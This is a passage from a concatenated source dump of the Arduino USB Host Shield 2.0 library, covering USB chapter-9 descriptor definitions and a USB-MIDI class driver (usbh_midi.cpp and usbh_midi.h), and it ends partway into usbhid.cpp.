SinkParser() { }; void Initialize() { }; void Parse(const LEN_TYPE len, const uint8_t *pbuf, const OFFSET_TYPE &offset) { }; }; #endif // __HEXDUMP_H__ ================================================ FILE: libraries/USB_Host_Shield_2.0/usb_ch9.h ================================================ /* Copyright (C) 2011 Circuits At Home, LTD. All rights reserved. This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA Contact information ------------------- Circuits At Home, LTD Web : http://www.circuitsathome.com e-mail : support@circuitsathome.com */ #if !defined(_usb_h_) || defined(_ch9_h_) #error "Never include usb_ch9.h directly; include Usb.h instead" #else /* USB chapter 9 structures */ #define _ch9_h_ /* Misc.USB constants */ #define DEV_DESCR_LEN 18 //device descriptor length #define CONF_DESCR_LEN 9 //configuration descriptor length #define INTR_DESCR_LEN 9 //interface descriptor length #define EP_DESCR_LEN 7 //endpoint descriptor length /* Standard Device Requests */ #define USB_REQUEST_GET_STATUS 0 // Standard Device Request - GET STATUS #define USB_REQUEST_CLEAR_FEATURE 1 // Standard Device Request - CLEAR FEATURE #define USB_REQUEST_SET_FEATURE 3 // Standard Device Request - SET FEATURE #define USB_REQUEST_SET_ADDRESS 5 // Standard Device Request - SET ADDRESS #define USB_REQUEST_GET_DESCRIPTOR 6 // Standard Device Request - GET DESCRIPTOR #define USB_REQUEST_SET_DESCRIPTOR 7 // Standard Device Request - SET DESCRIPTOR #define USB_REQUEST_GET_CONFIGURATION 8 // Standard Device Request - GET CONFIGURATION #define USB_REQUEST_SET_CONFIGURATION 9 // Standard Device Request - SET CONFIGURATION #define USB_REQUEST_GET_INTERFACE 10 // Standard Device Request - GET INTERFACE #define USB_REQUEST_SET_INTERFACE 11 // Standard Device Request - SET INTERFACE #define USB_REQUEST_SYNCH_FRAME 12 // Standard Device Request - SYNCH FRAME #define USB_FEATURE_ENDPOINT_HALT 0 // CLEAR/SET FEATURE - Endpoint Halt #define USB_FEATURE_DEVICE_REMOTE_WAKEUP 1 // CLEAR/SET FEATURE - Device remote wake-up #define USB_FEATURE_TEST_MODE 2 // CLEAR/SET FEATURE - Test mode /* Setup Data Constants */ #define USB_SETUP_HOST_TO_DEVICE 0x00 // Device Request bmRequestType transfer direction - host to device transfer #define USB_SETUP_DEVICE_TO_HOST 0x80 // Device Request bmRequestType transfer direction - device to host transfer #define USB_SETUP_TYPE_STANDARD 0x00 // Device Request bmRequestType type - standard #define USB_SETUP_TYPE_CLASS 0x20 // Device Request bmRequestType type - class #define USB_SETUP_TYPE_VENDOR 0x40 // Device Request bmRequestType type - vendor #define USB_SETUP_RECIPIENT_DEVICE 0x00 // Device Request bmRequestType recipient - device #define USB_SETUP_RECIPIENT_INTERFACE 0x01 // Device Request bmRequestType recipient - interface #define USB_SETUP_RECIPIENT_ENDPOINT 0x02 // Device Request bmRequestType recipient - endpoint #define USB_SETUP_RECIPIENT_OTHER 0x03 // Device Request bmRequestType recipient - other /* USB descriptors */ #define USB_DESCRIPTOR_DEVICE 0x01 // bDescriptorType for a Device Descriptor. #define USB_DESCRIPTOR_CONFIGURATION 0x02 // bDescriptorType for a Configuration Descriptor. #define USB_DESCRIPTOR_STRING 0x03 // bDescriptorType for a String Descriptor. #define USB_DESCRIPTOR_INTERFACE 0x04 // bDescriptorType for an Interface Descriptor. #define USB_DESCRIPTOR_ENDPOINT 0x05 // bDescriptorType for an Endpoint Descriptor. #define USB_DESCRIPTOR_DEVICE_QUALIFIER 0x06 // bDescriptorType for a Device Qualifier. #define USB_DESCRIPTOR_OTHER_SPEED 0x07 // bDescriptorType for a Other Speed Configuration. #define USB_DESCRIPTOR_INTERFACE_POWER 0x08 // bDescriptorType for Interface Power. #define USB_DESCRIPTOR_OTG 0x09 // bDescriptorType for an OTG Descriptor. #define HID_DESCRIPTOR_HID 0x21 /* OTG SET FEATURE Constants */ #define OTG_FEATURE_B_HNP_ENABLE 3 // SET FEATURE OTG - Enable B device to perform HNP #define OTG_FEATURE_A_HNP_SUPPORT 4 // SET FEATURE OTG - A device supports HNP #define OTG_FEATURE_A_ALT_HNP_SUPPORT 5 // SET FEATURE OTG - Another port on the A device supports HNP /* USB Endpoint Transfer Types */ #define USB_TRANSFER_TYPE_CONTROL 0x00 // Endpoint is a control endpoint. #define USB_TRANSFER_TYPE_ISOCHRONOUS 0x01 // Endpoint is an isochronous endpoint. #define USB_TRANSFER_TYPE_BULK 0x02 // Endpoint is a bulk endpoint. #define USB_TRANSFER_TYPE_INTERRUPT 0x03 // Endpoint is an interrupt endpoint. #define bmUSB_TRANSFER_TYPE 0x03 // bit mask to separate transfer type from ISO attributes /* Standard Feature Selectors for CLEAR_FEATURE Requests */ #define USB_FEATURE_ENDPOINT_STALL 0 // Endpoint recipient #define USB_FEATURE_DEVICE_REMOTE_WAKEUP 1 // Device recipient #define USB_FEATURE_TEST_MODE 2 // Device recipient /* descriptor data structures */ /* Device descriptor structure */ typedef struct { uint8_t bLength; // Length of this descriptor. uint8_t bDescriptorType; // DEVICE descriptor type (USB_DESCRIPTOR_DEVICE). uint16_t bcdUSB; // USB Spec Release Number (BCD). uint8_t bDeviceClass; // Class code (assigned by the USB-IF). 0xFF-Vendor specific. uint8_t bDeviceSubClass; // Subclass code (assigned by the USB-IF). uint8_t bDeviceProtocol; // Protocol code (assigned by the USB-IF). 0xFF-Vendor specific. uint8_t bMaxPacketSize0; // Maximum packet size for endpoint 0. uint16_t idVendor; // Vendor ID (assigned by the USB-IF). uint16_t idProduct; // Product ID (assigned by the manufacturer). uint16_t bcdDevice; // Device release number (BCD). uint8_t iManufacturer; // Index of String Descriptor describing the manufacturer. uint8_t iProduct; // Index of String Descriptor describing the product. uint8_t iSerialNumber; // Index of String Descriptor with the device's serial number. uint8_t bNumConfigurations; // Number of possible configurations. } __attribute__((packed)) USB_DEVICE_DESCRIPTOR; /* Configuration descriptor structure */ typedef struct { uint8_t bLength; // Length of this descriptor. uint8_t bDescriptorType; // CONFIGURATION descriptor type (USB_DESCRIPTOR_CONFIGURATION). uint16_t wTotalLength; // Total length of all descriptors for this configuration. uint8_t bNumInterfaces; // Number of interfaces in this configuration. uint8_t bConfigurationValue; // Value of this configuration (1 based). uint8_t iConfiguration; // Index of String Descriptor describing the configuration. uint8_t bmAttributes; // Configuration characteristics. uint8_t bMaxPower; // Maximum power consumed by this configuration. } __attribute__((packed)) USB_CONFIGURATION_DESCRIPTOR; /* Interface descriptor structure */ typedef struct { uint8_t bLength; // Length of this descriptor. uint8_t bDescriptorType; // INTERFACE descriptor type (USB_DESCRIPTOR_INTERFACE). uint8_t bInterfaceNumber; // Number of this interface (0 based). uint8_t bAlternateSetting; // Value of this alternate interface setting. uint8_t bNumEndpoints; // Number of endpoints in this interface. uint8_t bInterfaceClass; // Class code (assigned by the USB-IF). 0xFF-Vendor specific. uint8_t bInterfaceSubClass; // Subclass code (assigned by the USB-IF). uint8_t bInterfaceProtocol; // Protocol code (assigned by the USB-IF). 0xFF-Vendor specific. uint8_t iInterface; // Index of String Descriptor describing the interface. } __attribute__((packed)) USB_INTERFACE_DESCRIPTOR; /* Endpoint descriptor structure */ typedef struct { uint8_t bLength; // Length of this descriptor. uint8_t bDescriptorType; // ENDPOINT descriptor type (USB_DESCRIPTOR_ENDPOINT). uint8_t bEndpointAddress; // Endpoint address. Bit 7 indicates direction (0=OUT, 1=IN). uint8_t bmAttributes; // Endpoint transfer type. uint16_t wMaxPacketSize; // Maximum packet size. uint8_t bInterval; // Polling interval in frames. } __attribute__((packed)) USB_ENDPOINT_DESCRIPTOR; /* HID descriptor */ typedef struct { uint8_t bLength; uint8_t bDescriptorType; uint16_t bcdHID; // HID class specification release uint8_t bCountryCode; uint8_t bNumDescriptors; // Number of additional class specific descriptors uint8_t bDescrType; // Type of class descriptor uint16_t wDescriptorLength; // Total size of the Report descriptor } __attribute__((packed)) USB_HID_DESCRIPTOR; typedef struct { uint8_t bDescrType; // Type of class descriptor uint16_t wDescriptorLength; // Total size of the Report descriptor } __attribute__((packed)) HID_CLASS_DESCRIPTOR_LEN_AND_TYPE; #endif // _ch9_h_ ================================================ FILE: libraries/USB_Host_Shield_2.0/usbh_midi.cpp ================================================ /* ******************************************************************************* * USB-MIDI class driver for USB Host Shield 2.0 Library * Copyright (c) 2012-2018 Yuuichi Akagawa * * Idea from LPK25 USB-MIDI to Serial MIDI converter * by Collin Cunningham - makezine.com, narbotic.com * * for use with USB Host Shield 2.0 from Circuitsathome.com * https://github.com/felis/USB_Host_Shield_2.0 ******************************************************************************* * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see ******************************************************************************* */ #include "usbh_midi.h" ////////////////////////// // MIDI MESAGES // midi.org/techspecs/ ////////////////////////// // STATUS BYTES // 0x8n == noteOff // 0x9n == noteOn // 0xAn == afterTouch // 0xBn == controlChange // n == Channel(0x0-0xf) ////////////////////////// //DATA BYTE 1 // note# == (0-127) // or // control# == (0-119) ////////////////////////// // DATA BYTE 2 // velocity == (0-127) // or // controlVal == (0-127) /////////////////////////////////////////////////////////////////////////////// // USB-MIDI Event Packets // usb.org - Universal Serial Bus Device Class Definition for MIDI Devices 1.0 /////////////////////////////////////////////////////////////////////////////// //+-------------+-------------+-------------+-------------+ //| Byte 0 | Byte 1 | Byte 2 | Byte 3 | //+------+------+-------------+-------------+-------------+ //|Cable | Code | | | | //|Number|Index | MIDI_0 | MIDI_1 | MIDI_2 | //| |Number| | | | //|(4bit)|(4bit)| (8bit) | (8bit) | (8bit) | //+------+------+-------------+-------------+-------------+ // CN == 0x0-0xf //+-----+-----------+------------------------------------------------------------------- //| CIN |MIDI_x size|Description //+-----+-----------+------------------------------------------------------------------- //| 0x0 | 1, 2 or 3 |Miscellaneous function codes. Reserved for future extensions. //| 0x1 | 1, 2 or 3 |Cable events. Reserved for future expansion. //| 0x2 | 2 |Two-byte System Common messages like MTC, SongSelect, etc. //| 0x3 | 3 |Three-byte System Common messages like SPP, etc. //| 0x4 | 3 |SysEx starts or continues //| 0x5 | 1 |Single-byte System Common Message or SysEx ends with following single byte. //| 0x6 | 2 |SysEx ends with following two bytes. //| 0x7 | 3 |SysEx ends with following three bytes. //| 0x8 | 3 |Note-off //| 0x9 | 3 |Note-on //| 0xA | 3 |Poly-KeyPress //| 0xB | 3 |Control Change //| 0xC | 2 |Program Change //| 0xD | 2 |Channel Pressure //| 0xE | 3 |PitchBend Change //| 0xF | 1 |Single Byte //+-----+-----------+------------------------------------------------------------------- const uint8_t USBH_MIDI::epDataInIndex = 1; const uint8_t USBH_MIDI::epDataOutIndex = 2; const uint8_t USBH_MIDI::epDataInIndexVSP = 3; const uint8_t USBH_MIDI::epDataOutIndexVSP = 4; USBH_MIDI::USBH_MIDI(USB *p) : pUsb(p), bAddress(0), bNumEP(1), bPollEnable(false), isMidiFound(false), readPtr(0) { // initialize endpoint data structures for(uint8_t i=0; iRegisterDeviceClass(this); } } /* Connection initialization of an MIDI Device */ uint8_t USBH_MIDI::Init(uint8_t parent, uint8_t port, bool lowspeed) { uint8_t buf[sizeof (USB_DEVICE_DESCRIPTOR)]; USB_DEVICE_DESCRIPTOR * udd = reinterpret_cast(buf); uint8_t rcode; UsbDevice *p = NULL; EpInfo *oldep_ptr = NULL; uint8_t num_of_conf; // number of configurations USBTRACE("\rMIDI Init\r\n"); //for reconnect for(uint8_t i=epDataInIndex; i<=epDataOutIndex; i++) { epInfo[i].epAddr = (i==epDataInIndex) ? 0x81 : 0x01; epInfo[i].maxPktSize = 0; epInfo[i].bmSndToggle = 0; epInfo[i].bmRcvToggle = 0; } // get memory address of USB device address pool AddressPool &addrPool = pUsb->GetAddressPool(); // check if address has already been assigned to an instance if (bAddress) { return USB_ERROR_CLASS_INSTANCE_ALREADY_IN_USE; } // Get pointer to pseudo device with address 0 assigned p = addrPool.GetUsbDevicePtr(bAddress); if (!p) { return USB_ERROR_ADDRESS_NOT_FOUND_IN_POOL; } if (!p->epinfo) { return USB_ERROR_EPINFO_IS_NULL; } // Save old pointer to EP_RECORD of address 0 oldep_ptr = p->epinfo; // Temporary assign new pointer to epInfo to p->epinfo in order to avoid toggle inconsistence p->epinfo = epInfo; p->lowspeed = lowspeed; // Get device descriptor rcode = pUsb->getDevDescr( 0, 0, sizeof(USB_DEVICE_DESCRIPTOR), (uint8_t*)buf ); vid = udd->idVendor; pid = udd->idProduct; // Restore p->epinfo p->epinfo = oldep_ptr; if( rcode ){ goto FailGetDevDescr; } // Allocate new address according to device class bAddress = addrPool.AllocAddress(parent, false, port); if (!bAddress) { return USB_ERROR_OUT_OF_ADDRESS_SPACE_IN_POOL; } // Extract Max Packet Size from device descriptor epInfo[0].maxPktSize = udd->bMaxPacketSize0; // Assign new address to the device rcode = pUsb->setAddr( 0, 0, bAddress ); if (rcode) { p->lowspeed = false; addrPool.FreeAddress(bAddress); bAddress = 0; return rcode; }//if (rcode... USBTRACE2("Addr:", bAddress); p->lowspeed = false; //get pointer to assigned address record p = addrPool.GetUsbDevicePtr(bAddress); if (!p) { return USB_ERROR_ADDRESS_NOT_FOUND_IN_POOL; } p->lowspeed = lowspeed; num_of_conf = udd->bNumConfigurations; // Assign epInfo to epinfo pointer rcode = pUsb->setEpInfoEntry(bAddress, 1, epInfo); if (rcode) { USBTRACE("setEpInfoEntry failed"); goto FailSetDevTblEntry; } USBTRACE("VID:"), D_PrintHex(vid, 0x80); USBTRACE(" PID:"), D_PrintHex(pid, 0x80); USBTRACE2(" #Conf:", num_of_conf); //Setup for well known vendor/device specific configuration bTransferTypeMask = bmUSB_TRANSFER_TYPE; setupDeviceSpecific(); isMidiFound = false; for (uint8_t i=0; i 1) break; } // for USBTRACE2("\r\nNumEP:", bNumEP); if( bNumEP < 2 ){ //Device not found. rcode = 0xff; goto FailGetConfDescr; } if( !isMidiFound ){ //MIDI Device not found. Try last Bulk transfer device USBTRACE("MIDI not found. Attempts bulk device\r\n"); epInfo[epDataInIndex].epAddr = epInfo[epDataInIndexVSP].epAddr; epInfo[epDataInIndex].maxPktSize = epInfo[epDataInIndexVSP].maxPktSize; epInfo[epDataOutIndex].epAddr = epInfo[epDataOutIndexVSP].epAddr; epInfo[epDataOutIndex].maxPktSize = epInfo[epDataOutIndexVSP].maxPktSize; } // Assign epInfo to epinfo pointer rcode = pUsb->setEpInfoEntry(bAddress, 3, epInfo); USBTRACE2("Conf:", bConfNum); USBTRACE2("EPin :", (uint8_t)(epInfo[epDataInIndex].epAddr + 0x80)); USBTRACE2("EPout:", epInfo[epDataOutIndex].epAddr); // Set Configuration Value rcode = pUsb->setConf(bAddress, 0, bConfNum); if (rcode) { goto FailSetConfDescr; } bPollEnable = true; USBTRACE("Init done.\r\n"); return 0; FailGetDevDescr: FailSetDevTblEntry: FailGetConfDescr: FailSetConfDescr: Release(); return rcode; } /* get and parse config descriptor */ uint8_t USBH_MIDI::parseConfigDescr( uint8_t addr, uint8_t conf ) { uint8_t buf[ DESC_BUFF_SIZE ]; uint8_t* buf_ptr = buf; uint8_t rcode; uint8_t descr_length; uint8_t descr_type; uint16_t total_length; USB_ENDPOINT_DESCRIPTOR *epDesc; bool isMidi = false; // get configuration descriptor (get descriptor size only) rcode = pUsb->getConfDescr( addr, 0, 4, conf, buf ); if( rcode ){ return rcode; } total_length = buf[2] | ((int)buf[3] << 8); if( total_length > DESC_BUFF_SIZE ) { //check if total length is larger than buffer total_length = DESC_BUFF_SIZE; } // get configuration descriptor (all) rcode = pUsb->getConfDescr( addr, 0, total_length, conf, buf ); //get the whole descriptor if( rcode ){ return rcode; } //parsing descriptors while( buf_ptr < buf + total_length ) { descr_length = *( buf_ptr ); descr_type = *( buf_ptr + 1 ); switch( descr_type ) { case USB_DESCRIPTOR_CONFIGURATION : bConfNum = buf_ptr[5]; break; case USB_DESCRIPTOR_INTERFACE : USBTRACE("\r\nConf:"), D_PrintHex(bConfNum, 0x80); USBTRACE(" Int:"), D_PrintHex(buf_ptr[2], 0x80); USBTRACE(" Alt:"), D_PrintHex(buf_ptr[3], 0x80); USBTRACE(" EPs:"), D_PrintHex(buf_ptr[4], 0x80); USBTRACE(" IntCl:"), D_PrintHex(buf_ptr[5], 0x80); USBTRACE(" IntSubCl:"), D_PrintHex(buf_ptr[6], 0x80); USBTRACE("\r\n"); if( buf_ptr[5] == USB_CLASS_AUDIO && buf_ptr[6] == USB_SUBCLASS_MIDISTREAMING ) { //p[5]; bInterfaceClass = 1(Audio), p[6]; bInterfaceSubClass = 3(MIDI Streaming) isMidiFound = true; //MIDI device found. isMidi = true; USBTRACE("MIDI Device\r\n"); }else{ isMidi = false; USBTRACE("No MIDI Device\r\n"); } break; case USB_DESCRIPTOR_ENDPOINT : epDesc = (USB_ENDPOINT_DESCRIPTOR *)buf_ptr; USBTRACE("-EPAddr:"), D_PrintHex(epDesc->bEndpointAddress, 0x80); USBTRACE(" bmAttr:"), D_PrintHex(epDesc->bmAttributes, 0x80); USBTRACE2(" MaxPktSz:", (uint8_t)epDesc->wMaxPacketSize); if ((epDesc->bmAttributes & bTransferTypeMask) == USB_TRANSFER_TYPE_BULK) {//bulk uint8_t index; if( isMidi ) index = ((epDesc->bEndpointAddress & 0x80) == 0x80) ? epDataInIndex : epDataOutIndex; else index = ((epDesc->bEndpointAddress & 0x80) == 0x80) ? epDataInIndexVSP : epDataOutIndexVSP; epInfo[index].epAddr = (epDesc->bEndpointAddress & 0x0F); epInfo[index].maxPktSize = (uint8_t)epDesc->wMaxPacketSize; bNumEP ++; #ifdef DEBUG_USB_HOST PrintEndpointDescriptor(epDesc); #endif } break; default: break; }//switch( descr_type buf_ptr += descr_length; //advance buffer pointer }//while( buf_ptr <=... return 0; } /* Performs a cleanup after failed Init() attempt */ uint8_t USBH_MIDI::Release() { pUsb->GetAddressPool().FreeAddress(bAddress); bNumEP = 1; //must have to be reset to 1 bAddress = 0; bPollEnable = false; readPtr = 0; return 0; } /* Setup for well known vendor/device specific configuration */ void USBH_MIDI::setupDeviceSpecific() { // Novation if( vid == 0x1235 ) { // LaunchPad's endpoint attirbute is interrupt (0x20:S, 0x36:Mini, 0x51:Pro, 0x69:MK2, 0x7b:Launchkey25 MK2) if(pid == 0x20 || pid == 0x36 || pid == 0x51 || pid == 0x69 || pid == 0x7b ) { bTransferTypeMask = 2; } } } /* Receive data from MIDI device */ uint8_t USBH_MIDI::RecvData(uint16_t *bytes_rcvd, uint8_t *dataptr) { *bytes_rcvd = (uint16_t)epInfo[epDataInIndex].maxPktSize; uint8_t r = pUsb->inTransfer(bAddress, epInfo[epDataInIndex].epAddr, bytes_rcvd, dataptr); if( *bytes_rcvd < (MIDI_EVENT_PACKET_SIZE-4)){ dataptr[*bytes_rcvd] = '\0'; dataptr[(*bytes_rcvd)+1] = '\0'; } return r; } /* Receive data from MIDI device */ uint8_t USBH_MIDI::RecvData(uint8_t *outBuf, bool isRaw) { uint8_t rcode = 0; //return code uint16_t rcvd; if( bPollEnable == false ) return 0; //Checking unprocessed message in buffer. if( readPtr != 0 && readPtr < MIDI_EVENT_PACKET_SIZE ){ if(recvBuf[readPtr] == 0 && recvBuf[readPtr+1] == 0) { //no unprocessed message left in the buffer. }else{ goto RecvData_return_from_buffer; } } readPtr = 0; rcode = RecvData( &rcvd, recvBuf); if( rcode != 0 ) { return 0; } //if all data is zero, no valid data received. if( recvBuf[0] == 0 && recvBuf[1] == 0 && recvBuf[2] == 0 && recvBuf[3] == 0 ) { return 0; } RecvData_return_from_buffer: uint8_t m; uint8_t cin = recvBuf[readPtr]; if( isRaw == true ) { *(outBuf++) = cin; } readPtr++; *(outBuf++) = m = recvBuf[readPtr++]; *(outBuf++) = recvBuf[readPtr++]; *(outBuf++) = recvBuf[readPtr++]; return lookupMsgSize(m, cin); } /* Receive raw data from MIDI device */ uint8_t USBH_MIDI::RecvRawData(uint8_t *outBuf) { return RecvData(outBuf, true); } /* Send data to MIDI device */ uint8_t USBH_MIDI::SendData(uint8_t *dataptr, uint8_t nCable) { uint8_t buf[4]; uint8_t msg; msg = dataptr[0]; // SysEx long message ? if( msg == 0xf0 ) { return SendSysEx(dataptr, countSysExDataSize(dataptr), nCable); } buf[0] = (nCable << 4) | (msg >> 4); if( msg < 0xf0 ) msg = msg & 0xf0; //Building USB-MIDI Event Packets buf[1] = dataptr[0]; buf[2] = dataptr[1]; buf[3] = dataptr[2]; switch(lookupMsgSize(msg)) { //3 bytes message case 3 : if(msg == 0xf2) {//system common message(SPP) buf[0] = (nCable << 4) | 3; } break; //2 bytes message case 2 : if(msg == 0xf1 || msg == 0xf3) {//system common message(MTC/SongSelect) buf[0] = (nCable << 4) | 2; } buf[3] = 0; break; //1 byte message case 1 : default : buf[2] = 0; buf[3] = 0; break; } return pUsb->outTransfer(bAddress, epInfo[epDataOutIndex].epAddr, 4, buf); } #ifdef DEBUG_USB_HOST void USBH_MIDI::PrintEndpointDescriptor( const USB_ENDPOINT_DESCRIPTOR* ep_ptr ) { USBTRACE("Endpoint descriptor:\r\n"); USBTRACE2(" Length:\t", ep_ptr->bLength); USBTRACE2(" Type:\t\t", ep_ptr->bDescriptorType); USBTRACE2(" Address:\t", ep_ptr->bEndpointAddress); USBTRACE2(" Attributes:\t", ep_ptr->bmAttributes); USBTRACE2(" MaxPktSize:\t", ep_ptr->wMaxPacketSize); USBTRACE2(" Poll Intrv:\t", ep_ptr->bInterval); } #endif /* look up a MIDI message size from spec */ /*Return */ /* 0 : undefined message */ /* 0<: Vaild message size(1-3) */ uint8_t USBH_MIDI::lookupMsgSize(uint8_t midiMsg, uint8_t cin) { uint8_t msgSize = 0; //SysEx message? cin = cin & 0x0f; if( (cin & 0xc) == 4 ) { if( cin == 4 || cin == 7 ) return 3; if( cin == 6 ) return 2; if( cin == 5 ) return 1; } if( midiMsg < 0xf0 ) midiMsg &= 0xf0; switch(midiMsg) { //3 bytes messages case 0xf2 : //system common message(SPP) case 0x80 : //Note off case 0x90 : //Note on case 0xa0 : //Poly KeyPress case 0xb0 : //Control Change case 0xe0 : //PitchBend Change msgSize = 3; break; //2 bytes messages case 0xf1 : //system common message(MTC) case 0xf3 : //system common message(SongSelect) case 0xc0 : //Program Change case 0xd0 : //Channel Pressure msgSize = 2; break; //1 byte messages case 0xf8 : //system realtime message case 0xf9 : //system realtime message case 0xfa : //system realtime message case 0xfb : //system realtime message case 0xfc : //system realtime message case 0xfe : //system realtime message case 0xff : //system realtime message msgSize = 1; break; //undefine messages default : break; } return msgSize; } /* SysEx data size counter */ uint16_t USBH_MIDI::countSysExDataSize(uint8_t *dataptr) { uint16_t c = 1; if( *dataptr != 0xf0 ){ //not SysEx return 0; } //Search terminator(0xf7) while(*dataptr != 0xf7) { dataptr++; c++; //Limiter (default: 256 bytes) if(c > MIDI_MAX_SYSEX_SIZE){ c = 0; break; } } return c; } /* Send SysEx message to MIDI device */ uint8_t USBH_MIDI::SendSysEx(uint8_t *dataptr, uint16_t datasize, uint8_t nCable) { uint8_t buf[MIDI_EVENT_PACKET_SIZE]; uint8_t rc = 0; uint16_t n = datasize; uint16_t pktSize = (n*10/3+7)/10*4; //Calculate total USB MIDI packet size uint8_t wptr = 0; uint8_t maxpkt = epInfo[epDataInIndex].maxPktSize; if( maxpkt > MIDI_EVENT_PACKET_SIZE ) maxpkt = MIDI_EVENT_PACKET_SIZE; USBTRACE("SendSysEx:\r\t"); USBTRACE2(" Length:\t", datasize); USBTRACE2(" Total pktSize:\t", pktSize); while(n > 0) { //Byte 0 buf[wptr] = (nCable << 4) | 0x4; //x4 SysEx starts or continues switch ( n ) { case 1 : buf[wptr++] = (nCable << 4) | 0x5; //x5 SysEx ends with following single byte. buf[wptr++] = *(dataptr++); buf[wptr++] = 0x00; buf[wptr++] = 0x00; n = n - 1; break; case 2 : buf[wptr++] = (nCable << 4) | 0x6; //x6 SysEx ends with following two bytes. buf[wptr++] = *(dataptr++); buf[wptr++] = *(dataptr++); buf[wptr++] = 0x00; n = n - 2; break; case 3 : buf[wptr] = (nCable << 4) | 0x7; //x7 SysEx ends with following three bytes. default : wptr++; buf[wptr++] = *(dataptr++); buf[wptr++] = *(dataptr++); buf[wptr++] = *(dataptr++); n = n - 3; break; } if( wptr >= maxpkt || n == 0 ){ //Reach a maxPktSize or data end. USBTRACE2(" wptr:\t", wptr); if( (rc = pUsb->outTransfer(bAddress, epInfo[epDataOutIndex].epAddr, wptr, buf)) != 0 ){ break; } wptr = 0; //rewind data pointer } } return(rc); } /* Send raw data to MIDI device */ uint8_t USBH_MIDI::SendRawData(uint16_t bytes_send, uint8_t *dataptr) { return pUsb->outTransfer(bAddress, epInfo[epDataOutIndex].epAddr, bytes_send, dataptr); } uint8_t USBH_MIDI::extractSysExData(uint8_t *p, uint8_t *buf) { uint8_t rc = 0; uint8_t cin = *(p) & 0x0f; //SysEx message? if( (cin & 0xc) != 4 ) return rc; switch(cin) { case 4: case 7: *buf++ = *(p+1); *buf++ = *(p+2); *buf++ = *(p+3); rc = 3; break; case 6: *buf++ = *(p+1); *buf++ = *(p+2); rc = 2; break; case 5: *buf++ = *(p+1); rc = 1; break; default: break; } return(rc); } ================================================ FILE: libraries/USB_Host_Shield_2.0/usbh_midi.h ================================================ /* ******************************************************************************* * USB-MIDI class driver for USB Host Shield 2.0 Library * Copyright (c) 2012-2018 Yuuichi Akagawa * * Idea from LPK25 USB-MIDI to Serial MIDI converter * by Collin Cunningham - makezine.com, narbotic.com * * for use with USB Host Shield 2.0 from Circuitsathome.com * https://github.com/felis/USB_Host_Shield_2.0 ******************************************************************************* * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see ******************************************************************************* */ #if !defined(_USBH_MIDI_H_) #define _USBH_MIDI_H_ //#define DEBUG_USB_HOST #include "Usb.h" #define MIDI_MAX_ENDPOINTS 5 //endpoint 0, bulk_IN(MIDI), bulk_OUT(MIDI), bulk_IN(VSP), bulk_OUT(VSP) #define USB_SUBCLASS_MIDISTREAMING 3 #define DESC_BUFF_SIZE 256 #define MIDI_EVENT_PACKET_SIZE 64 #define MIDI_MAX_SYSEX_SIZE 256 class USBH_MIDI; class USBH_MIDI : public USBDeviceConfig { protected: static const uint8_t epDataInIndex; // DataIn endpoint index(MIDI) static const uint8_t epDataOutIndex; // DataOUT endpoint index(MIDI) static const uint8_t epDataInIndexVSP; // DataIn endpoint index(Vendor Specific Protocl) static const uint8_t epDataOutIndexVSP; // DataOUT endpoint index(Vendor Specific Protocl) /* mandatory members */ USB *pUsb; uint8_t bAddress; uint8_t bConfNum; // configuration number uint8_t bNumEP; // total number of EP in the configuration bool bPollEnable; bool isMidiFound; uint16_t pid, vid; // ProductID, VendorID uint8_t bTransferTypeMask; /* Endpoint data structure */ EpInfo epInfo[MIDI_MAX_ENDPOINTS]; /* MIDI Event packet buffer */ uint8_t recvBuf[MIDI_EVENT_PACKET_SIZE]; uint8_t readPtr; uint8_t parseConfigDescr(uint8_t addr, uint8_t conf); uint16_t countSysExDataSize(uint8_t *dataptr); void setupDeviceSpecific(); #ifdef DEBUG_USB_HOST void PrintEndpointDescriptor( const USB_ENDPOINT_DESCRIPTOR* ep_ptr ); #endif public: USBH_MIDI(USB *p); // Misc functions operator bool() { return (pUsb->getUsbTaskState()==USB_STATE_RUNNING); } uint16_t idVendor() { return vid; } uint16_t idProduct() { return pid; } // Methods for recieving and sending data uint8_t RecvData(uint16_t *bytes_rcvd, uint8_t *dataptr); uint8_t RecvData(uint8_t *outBuf, bool isRaw=false); uint8_t RecvRawData(uint8_t *outBuf); uint8_t SendData(uint8_t *dataptr, uint8_t nCable=0); uint8_t lookupMsgSize(uint8_t midiMsg, uint8_t cin=0); uint8_t SendSysEx(uint8_t *dataptr, uint16_t datasize, uint8_t nCable=0); uint8_t extractSysExData(uint8_t *p, uint8_t *buf); uint8_t SendRawData(uint16_t bytes_send, uint8_t *dataptr); // backward compatibility functions inline uint8_t RcvData(uint16_t *bytes_rcvd, uint8_t *dataptr) { return RecvData(bytes_rcvd, dataptr); }; inline uint8_t RcvData(uint8_t *outBuf) { return RecvData(outBuf); }; // USBDeviceConfig implementation virtual uint8_t Init(uint8_t parent, uint8_t port, bool lowspeed); virtual uint8_t Release(); virtual uint8_t GetAddress() { return bAddress; }; }; #endif //_USBH_MIDI_H_ ================================================ FILE: libraries/USB_Host_Shield_2.0/usbhid.cpp ================================================ /* Copyright (C) 2011 Circuits At Home, LTD. All rights reserved. This software may be distributed and modified under the terms of the GNU General Public License version 2 (GPL2) as published by the Free Software Foundation and appearing in the file GPL2.TXT included in the packaging of this file. Please note that GPL2 Section 2[b] requires that all works based on this software must also be made publicly available under the terms of the GPL2 ("Copyleft"). Contact information ------------------- Circuits At Home, LTD Web : http://www.circuitsathome.com e-mail : support@circuitsathome.com */ #include "usbhid.h" //get HID report descriptor /* WRONG! Endpoint is 